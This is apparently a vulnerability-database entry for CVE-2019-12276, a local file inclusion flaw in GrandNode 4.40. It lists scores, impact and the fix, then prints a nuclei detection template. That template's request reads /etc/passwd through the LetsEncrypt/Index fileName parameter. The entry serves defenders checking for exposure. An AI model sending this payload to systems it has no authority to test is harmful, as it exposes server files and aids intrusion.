GrandNode 4.40 - Local File Inclusion

highseverity

7.5CVSS score

60.1%likelihood of exploitation, next 30 days

99%of all CVEs are less likely

Readycheck to confirm it

GrandNode 4.40 is susceptible to local file inclusion in Controllers/LetsEncryptController.cs, which allows remote unauthenticated attackers to retrieve arbitrary files on the web server via specially crafted LetsEncrypt/Index?fileName= HTTP requests.

Impact

Successful exploitation of this vulnerability can lead to unauthorized access to sensitive information, remote code execution, and potential compromise of the entire system.

Fix

A patch for this issue was made on 2019-05-30 in GrandNode 4.40.

How to confirm it

Send: GET {{BaseURL}}/LetsEncrypt/Index?fileName=/etc/passwd
Positive when: matches /root:.*:0:0:/ AND status 200

Run it with nuclei: nuclei -id CVE-2019-12276 -u <target>. This check is not marked as verified by its authors.

The full check

id: CVE-2019-12276

info:
  name: GrandNode 4.40 - Local File Inclusion
  author: daffainfo
  severity: high
  description: |
    GrandNode 4.40 is susceptible to local file inclusion in Controllers/LetsEncryptController.cs, which allows remote unauthenticated attackers to retrieve arbitrary files on the web server via specially crafted LetsEncrypt/Index?fileName= HTTP requests.
  impact: |
    Successful exploitation of this vulnerability can lead to unauthorized access to sensitive information, remote code execution, and potential compromise of the entire system.
  remediation: |
    A patch for this issue was made on 2019-05-30 in GrandNode 4.40.
  reference:
    - https://security401.com/grandnode-path-traversal/
    - https://grandnode.com
    - https://github.com/grandnode/grandnode
    - https://nvd.nist.gov/vuln/detail/CVE-2019-12276
    - http://packetstormsecurity.com/files/153373/GrandNode-4.40-Path-Traversal-File-Download.html
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2019-12276
    cwe-id: CWE-22
    epss-score: 0.60127
    epss-percentile: 0.99143
    cpe: cpe:2.3:a:grandnode:grandnode:4.40:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: grandnode
    product: grandnode
  tags: cve,cve2019,packetstorm,lfi,grandnode,vkev,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/LetsEncrypt/Index?fileName=/etc/passwd"

    headers:
      Connection: close

    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - "root:.*:0:0:"

      - type: status
        status:
          - 200

References

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